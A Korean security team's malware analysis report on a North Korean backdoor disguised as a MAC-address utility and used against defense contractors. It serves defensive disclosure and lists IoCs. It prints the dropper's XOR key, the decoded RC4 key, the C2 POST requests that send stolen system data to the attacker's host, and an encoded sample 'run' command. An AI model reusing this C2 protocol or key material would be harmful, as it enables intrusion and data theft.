한미연합훈련 기간 방산업체 노린 북한발 악성코드

1. 개요

지난 8월 22일, 하반기 최대 규모 한미 연합훈련인 을지프리덤실드(UFS)가 시행되었다. 북한의 공격에 대한 대응능력을 강화하고자 시행하는 훈련인만큼 이러한 기간 동안에는 북한의 사이버 공격이 증가할 수 있다. 이번 을지프리덤실드 연합훈련 기간에도 예외 없이 북한의 사이버 위협 징후가 다수 포착되었다. 주로 국내 방위산업체를 대상으로 한 공격이 다수 발견되었으며, 본 보고서에서는 그 중 을지프리덤실드 연합훈련 시작일과 맞물리는 8월 22일에 처음 탐지가 된 윈도우 실행파일 형태의 북한발 악성코드에 대해 다루어 보고자 한다.

※ 관련 기사 링크 : http://whytimes.kr/m/view.php?idx=12635&mcode=m114v4r8

 

해당 악성코드는 컴퓨터의 IP나 MAC주소 등 네트워크 정보를 출력해주는 윈도우 프로그램으로 위장한 형태로 발견되었다. 실행 시 정상 프로그램으로 위장하기 위한 디코이 프로그램이 실행이 되고, 백그라운드에서는 C2서버에서 추가 명령을 수신하여 정보 수집과 같은 악성행위를 하는 백도어 악성코드가 동작한다.

[그림 1] 악성코드 실행 흐름도

 

2. 분석 샘플 정보

구분	내용
파일명	Mac Address.exe
파일 크기	908,308 byte
악성코드 유형	백도어
MD5	aed88aac9dafd46c7c33617c77cc808f
SHA1	07b9c06bef6fb7f2f91c495ba84fdd8d5cd85b22
SHA256	f63ff642e7025db96d6ebbd6da26aa9cece4f132891ce2a8385d7c034a7ead25
SSDEEP	12288:z8IJquLv0JobYTOo2gKe9UzJhbN40ebWY4NzE9fmMc/DHuGW1Of/hphdL4:zdq2fo23eGJ4J86tODOGW43hXdL4
VirusTotal	https://www.virustotal.com/gui/file/f63ff642e7025db96d6ebbd6da26aa9cece4f132891ce2a8385d7c034a7ead25/detection

[표 1] 분석 샘플 정보

 

3. 상세 분석

 3.1  Mac Address.exe (Dropper)

  01)  특정 경로에 파일 드롭 및 실행

초기 실행되는 악성코드는 특정 경로에 디코이 파일과 백도어 악성코드를 생성하여 실행하는 드롭퍼 역할을 수행한다. 악성코드 내부에는 드롭 할 파일에 해당하는 데이터가 XOR 인코딩 되어 저장되어 있으며, 이는 실행 시 XOR Key값을 이용하여 디코딩 된다.

[그림 2] 파일 내부 인코딩 된 데이터를 디코딩

 

드롭되는 파일의 이름은 각각 ‘Mac Address 조사.exe’, ‘Thumbs.db.pif’ 이며, 샘플 파일 내에서 각 파일의 인코딩 된 데이터가 위치한 오프셋은 다음과 같다.

드롭 파일 명	인코딩 된 데이터가 위치한 오프셋
Mac Address 조사.exe	(File_End_Offset) - 532 - 441856 = 0x71C00 (size : 441856)
Thumbs.db.pif	(File_End_Offset) – 532 – 227328 – 441856 = 0x3A400 (size : 227328)

[표 2] 샘플 파일 내 인코딩 된 데이터가 위치한 오프셋

 

디코딩에 필요한 XOR Key 값은 샘플 파일 내 마지막 오프셋에 4byte 값으로 존재한다.

XOR Key (hex) : F4 CD D3 80

[그림 3] 디코딩에 사용되는 XOR 키 값

 

[표 2]에서 확인한 인코딩 된 데이터를 추출하여 XOR Key 값을 이용해 디코딩 시 드롭되는 실행 파일을 확인할 수 있다.

[그림 4] Mac Address 조사.exe 디코딩

 

[그림 5] Thumbs.db.pif 디코딩

 

디코딩이 완료되면 특정 경로에 파일로 드롭하여 실행한다.

다음은 ‘C:\ProgramData\Mac Address 조사.exe’ 파일을 드롭하고 실행하는 루틴이다.

[그림 6] 파일 드롭 및 실행 (Mac Address 조사.exe)

 

해당 파일(‘Mac Address 조사.exe’)은 정상적인 파일인 것처럼 위장하기 위한 디코이 파일로써, 실행 시 시스템의 네트워크 정보를 수집하여 출력해주는 기능을 한다.

[그림 7] Mac Address 조사.exe 실행 화면

 

다음은 ‘C:\ProgramData\Thumbs.db.pif’ 파일을 드롭하고, 특정인자 값(‘njXbxuRQyujZeUAGGYaH’)과 함께 실행하는 루틴이다. 해당 파일이 바로 실질적인 악성행위를 수행하는 백도어 악성코드이다.

[그림 8] 파일 드롭 및 실행 (Thumbs.db.pif)

 

 3.2  Thumbs.db.pif (Backdoor)

  01)  API 동적 바인딩

‘Thumbs.db.pif’ 프로세스는 _PEB_LDR_DATA 구조체를 탐색하여 현재 프로세스에 로드 된 DLL과

API 목록을 확인하며, 각 API 이름을 해싱하여 필요한 API의 해시값과 동일한지 비교한다.

만약, 필요한 API의 해시값과 동일하다면 해당 API의 주소 값을 얻어오는 방식으로 동적 바인딩이 구현되어 있다.

[그림 9] _PEB_LDR_DATA 구조체와 해시 알고리즘을 활용한 API 동적 바인딩

 

  02)  문자열 디코딩

로드 할 DLL 이름이나 C2 URL 등 주요 문자열들은 XOR 인코딩 되어 있으며, 이는 악성코드 실행 시 메모리상에서 디코딩 된다. 문자열마다 적용되는 디코딩 로직은 일부 차이가 있는 것으로 확인되며, 주요 디코딩 로직은 다음과 같다.

 

[그림 10]은 인코딩 된 데이터가 저장된 배열의 첫 1바이트가 디코딩을 위한 초기 Key 값으로 사용되는 루틴이다. 초기 Key 값은 1씩 증가하면서 인코딩 된 데이터와 순차적으로 XOR 연산이 진행된다.

[그림 10] 문자열 디코딩 루틴1

 

[그림 11]은 인코딩 된 데이터가 저장된 배열의 첫 2바이트가 XOR Key값으로 사용되는 루틴이다. 앞서 살펴본 루틴과 달리 XOR Key 값이 변동되지 않고 고정적인 것을 알 수 있다.

[그림 11] 문자열 디코딩 루틴2

 

  03)  초기 C2 통신

C2 통신에 필요한 주요 문자열에 대한 디코딩이 완료되면, C2 서버로 초기 패킷을 전송한다.

[그림 12] 초기 C2 통신

 

C2 통신 시 SSL 암호화 통신을 하기 때문에, 일반적인 상황에서는 통신하는 패킷의 내용을 확인할 수 없다. 분석 환경에서 암호화가 수행되기 전 초기 패킷의 내용을 확인해보면 다음과 같다. POST 메소드로 총 3개의 파라미터(user, type, page) 정보를 전달하는 것을 알 수 있다.

POST /data/index.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Length: 36 Host: accountverify.hmail.us   user=client&type=3&page=han-hakchoon

[표 3] C2 서버로 전송하는 초기 패킷

 

‘type’ 파라미터로 전달되는 숫자 값은 C2 통신 목적에 따라 변하며, 최초 통신이거나 악성행위 수행여부를 쿼리하는 경우 3의 값이 전달된다. C2 서버로 데이터를 전송할 경우에는 2, 추가 명령을 수신 대기하는 경우는 1이 전달된다. 그 외 나머지 두개의 파라미터(‘user’, ‘page’)는 C2 통신 목적에 상관없이 고정적인 값이 전달되는 것으로 확인된다.

파라미터	값	비고
user	client	(고정)
type	1	추가 명령 수신 대기
	2	데이터 전송
	3	악성행위 수행여부 쿼리
page	han-hakchoon	(고정)

[표 4] C2 서버로 전송되는 파라미터 정보

 

[표 3]과 같은 초기 패킷을 C2 서버로 전송한 이후에는 C2 서버로부터 수신한 데이터를 검증한다. 먼저, 수신한 데이터의 첫 1바이트가 ‘y’인지 비교하고, 일치할 경우 후속 데이터를 base64 디코딩한다.

[그림 13] 수신 데이터 검증 후 Base64 디코딩

 

[그림 14] Base64 Character set

 

그런 다음, 악성코드 내부 인코딩 된 RC4 Key 값을 디코딩한다. 디코딩 로직은 인코딩 된 RC4 Key 값이 저장된 변수의 첫 1바이트(0x66)를 XOR Key 값으로 사용하여 이를 후속 데이터(인코딩 된 RC4 Key 값)와 XOR 연산을 하는 방식이다.

[그림 15] RC4 Key 디코딩

 

RC4 Key의 디코딩 전후 값을 정리하면 다음 표와 같다.

[ RC4 Key 디코딩 전 – 빅 엔디안 ] Hex : 07 15 0A 03 14 0F 26 45 43 02 01 5F 15 03 14 55 42 45 42 38 26 55 52 15 02 00 1E 0A   [ RC4 Key 디코딩 후 ] Hex : 61 73 6C 65 72 69 40 23 25 64 67 39 73 65 72 33 24 23 24 5E 40 33 34 73 64 66 78 6C ASCII : asleri@#%dg9ser3$#$^@34sdfxl

[표 5] RC4 Key

 

RC4 Key 디코딩이 완료되면, [그림 13]에서 base64 디코딩한 수신 데이터를 RC4 알고리즘을 통해 복호화 한다.

[그림 16] RC4 알고리즘을 통한 수신 데이터 복호화

 

이후, 최종적으로 복호화 된 데이터가 ‘1’인지 비교하며, 일치하지 않을 경우에는 추가적인 악성행위를 수행하지 않는다.

[그림 17] 복호화가 완료된 수신 데이터 검증

 

분석을 통해 확인된 초기 C2 통신 행위를 요약하면 다음과 같다.

-      C2 서버로 파라미터 정보 전송(user=client&type=3&page=han-hakchoon)

-      C2 서버에서 수신한 데이터의 첫 1바이트가 ‘y’ 인지 검증

-      후속 데이터(‘y’ 이후 데이터)를 Base64 디코딩 및 RC4 복호화

-      후속 데이터를 복호화 한 결과가 ‘1’ 이 아닐 경우 추가적인 악성행위 수행하지 않음

 

분석 당시 C2 서버가 비활성화 상태로 확인되어 실제 수신 데이터를 확인할 수는 없었지만, 분석 결과를 토대로 C2 통신 시 수신될 것으로 판단되는 데이터 포맷을 정리하면 다음과 같다.

[그림 18] 전송할 데이터를 RC4 + Base64 인코딩

 

[그림 19] C2 수신 데이터 포맷 예시

 

  04)  추가 명령 수신

초기 C2 통신 과정에서 수신한 데이터에 대한 검증이 완료되면, C2 서버에서 추가 명령을 수신하기 위해 부가적인 통신이 이루어진다. [표 6]은 추가 명령 수신을 위해 C2 서버로 전송하는 패킷이다. 악성행위 수행여부를 쿼리하기 위해 전송했던 초기 패킷과는 달리 ‘type’ 파라미터의 값으로 1을 전달하는 것을 알 수 있다.

POST /data/index.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 104.0.3729.169 Safari / 537.36 Content-Length: 36 Host: accountverify.hmail.us   user=client&type=1&page=han-hakchoon

[표 6] 추가 명령 수신을 위해 C2 서버로 전송하는 패킷

 

이후, C2 서버에서 수신한 데이터를 검증한다. 수신하는 데이터 포맷은 [그림 19]에서 살펴본 바와 동일하며, 사용되는 복호화 알고리즘도 동일하다. 전체적인 통신 과정을 요약하면 다음과 같다.

-      C2 서버로 파라미터 정보 전송(user=client&type=1&page=han-hakchoon)

-      C2 서버에서 수신한 데이터의 첫 1바이트가 ‘y’ 인지 검증

-      후속 데이터(‘y’ 이후 데이터)를 Base64 디코딩 및 RC4 복호화 (RC4 키 값 동일)

-      후속 데이터를 복호화 한 결과를 명령어 문자열과 비교

       명령어 문자열 : "die", "getinfo", "where", "run", "exit"

 

C2서버에서 수신 가능한 명령어는 위와 같이 총 5가지로 확인되며, 수신한 명령어에 따라 추가 악성행위를 수행한다.

 

   ①  명령어 : die

“die” 명령은 백도어 파일을 자가 삭제하고 프로세스를 종료하는 명령이다.

먼저, C2 서버에서 수신한 명령이 “die” 인지 비교한다.

[그림 20] 수신한 명령어가 die 인지 비교

 

백도어 파일(Thumbs.db.pif)을 자가 삭제하고, 프로세스를 종료한다.

[그림 21] 자가 삭제

 

[그림 22] 프로세스 종료

 

  ②  명령어 : getinfo

“getinfo” 명령은 감염 시스템의 각종 정보를 수집하는 명령이다.

먼저, C2 서버에서 수신한 명령이 “getinfo” 인지 비교한다.

[그림 23] 수신한 명령어가 getinfo 인지 비교

 

감염 시스템의 각종 정보를 수집한다. 수집하는 정보는 컴퓨터 이름, 사용자 이름, 운영체제 및 빌드 버전 정보, 안티바이러스 제품 목록, 운영체제 비트 정보이다.

[그림 24] 컴퓨터 이름 정보 수집

 

[그림 25] 사용자 이름 정보 수집

 

[그림 26] 운영체제 정보, 빌드 버전 정보 수집

 

[그림 27] 안티바이러스 제품 정보 수집

 

[그림 28] 운영체제 비트 정보 수집

 

정보 수집이 완료된 이후 메모리 상에서 이를 확인하면 [그림 29]와 같다. 수집된 정보는 RC4 + Base64 인코딩을 통해 암호화된 이후 C2 서버로 전송된다.

[그림 29] 정보 수집 결과 (암호화 전)

 

암호화 및 인코딩 알고리즘은 앞서 살펴본 수신 데이터를 복호화 및 디코딩하는 알고리즘과 동일하다. RC4 알고리즘으로 암호화 후, 그 결과를 다시 Base64 인코딩하는 방식이다.

 

[표 7]은 수집한 정보를 C2 서버로 전송하는 패킷이다. 앞서 확인한 패킷과 달리, ‘type’ 파라미터에 전달되는 값이 2이며, 파라미터가 하나 추가(‘dat’)되어 RC4 + Base64 인코딩 된 데이터를 전달한다.

POST /data/index.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Length: 273 Host: accountverify.hmail.us   user=client&type=2&page=han-hakchoon&dat=oVlYREE1isC1WgNN7Nr9FiU88lUxg8RCSu7YNmddC6A4PIM6CSdDZRNYKGN0cMZO0MD2oVPZU9MYkdfa15JsDB2SVh-fpPscEXLXvPNyS5Kw2Di/Cllr01UtngjfhvHTmJ0A3lK11qqPM5hKZOVoeDEI/RMYHTgwrlwUZwxSc8ycnUlkUtpNvKIINCnhdJcX22XrlWvqMcR/yzVO2hh8fbtYsoWLtbnlll8Dsg==

[표 7] 수집한 정보를 C2 서버로 전송

 

‘dat’ 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화 시 전송되는 수집 데이터를 확인할 수 있다.

[그림 30] dat 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화

 

  ③  명령어 : where

“where” 명령은 악성코드의 현재 실행경로를 확인하는 명령이다.

먼저, C2 서버에서 수신한 명령이 “where” 인지 비교한다.

[그림 31] 수신한 명령어가 where 인지 비교

 

현재 악성코드가 실행중인 경로를 확인한다.

[그림 32] 현재 악성코드가 실행중인 경로 확인

 

[표 8]은 현재 악성코드가 실행중인 경로 정보를 C2 서버로 전송하는 패킷이다. ‘type’ 파라미터에는 2의 값이 전달되고, ‘dat’ 파라미터를 통해 현재 악성코드가 실행중인 경로 정보를 RC4 + Base64 인코딩하여 전송한다.

POST /data/index.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Length: 129 Host: accountverify.hmail.us   user=client&type=2&page=han-hakchoon&dat=sVRJX0pe746FTjlN/YjAKwk9vwZ/vf54FdrtCSdNDfEaEL4QdHGs2bH7KF50cNMCj7zjrUvdX8lFgceV05R4DB0=

[표 8] 현재 악성코드가 실행중인 경로 정보를 C2 서버로 전송

 

‘dat’ 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화 시 전송되는 데이터를 확인할 수 있다.

[그림 33] dat 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화

 

   ④  명령어 : run

“run” 명령은 C2 서버에서 전달받은 경로에 해당하는 파일을 실행하는 명령이다.

먼저, C2 서버에서 수신한 명령이 “run” 인지 비교한다. 수신한 명령이 “run”일 경우, 수신 데이터의 ofsset:4에 위치한 데이터(실행하고자 하는 파일의 경로)를 읽어 실행한다.

[그림 34] 수신한 명령어가 run 인 경우 실행 루틴

 

다음은 “run” 명령으로 계산기를 실행시키는 예시이다. run [실행파일 경로] 문자열을 RC4 알고리즘으로 암호화 후 Base64 인코딩한다. 마지막으로, 첫 1바이트에 ‘y’를 추가하면 계산기를 실행하는 명령이 완성된다. C2 서버로부터 아래와 같은 데이터를 수신하면 감염 시스템에서는 계산기가 실행된다.

계산기 실행 명령 예시 데이터 : ytElCDWxpuZrWfAhR74nvJDEqpgp8579QBNr1BXt0MfE=

[그림 35] 계산기 실행 명령 예시

 

다음은 “run” 명령의 실행 결과를 C2 서버로 전송하는 패킷이다. ‘type’ 파라미터에는 2의 값이 전달되고, ‘dat’ 파라미터로 명령 실행 결과가 RC4 + Base64 인코딩 되어 전송된다.

POST /data/index.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Length: 117 Host: accountverify.hmail.us   user=client&type=2&page=han-hakchoon&dat=tElCDWxpuZrWfAhR74nvJDEqpgp8579QBNr1BXt0MfFkcZoNa05zZQUKPBklLYMNmIXWsVvUE7dh

[표 9] run 명령 실행 결과를 C2 서버로 전송

 

‘dat’ 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화 시 전송되는 데이터를 확인 가능하며, 명령 실행 결과가 전송되는 것을 알 수 있다.

[그림 36] dat 파라미터로 전달되는 데이터를 Base64 디코딩 + RC4 복호화

 

  ⑤  명령어 : exit

“exit” 명령은 현재 동작중인 스레드를 종료하는 명령이다.

[그림 37] 수신한 명령어가 exit 일 경우 실행 루틴

 

4. IoC

분석을 통해 확인된 IOC 정보는 다음과 같다.

 

1)    File Name

File Name	설명
Mac Address.exe	Dropper
Mac Address 조사.exe	Decoy
Thumbs.db.pif	Backdoor

 

2)    MD5

MD5	설명
AED88AAC9DAFD46C7C33617C77CC808F	Mac Address.exe (Dropper)
245E67E649FF254200CF310630CC960B	Mac Address 조사.exe (Decoy)
32F053EF713959994D23F1B4326FDACF	Thumbs.db.pif (Backdoor)

 

3)    SHA1

SHA1	설명
07B9C06BEF6FB7F2F91C495BA84FDD8D5CD85B22	Mac Address.exe (Dropper)
0A1D42F44A9CBF826B416ED21678744AF71AF3F8	Mac Address 조사.exe (Decoy)
5C290D775A2C71613E0B8298B48DD8ED984F321C	Thumbs.db.pif (Backdoor)

 

4)    Network

구분	설명
C2 URL	https://accountverify.hmail[.]us/data/index.php
POST DATA Format (Victim -> C2)	user=client&type=3&page=han-hakchoon   user=client&type=1&page=han-hakchoon   user=client&type=2&page=han-hakchoon &dat=[RC4 + base64 Encode]

 

 

보안관제센터 MIR Team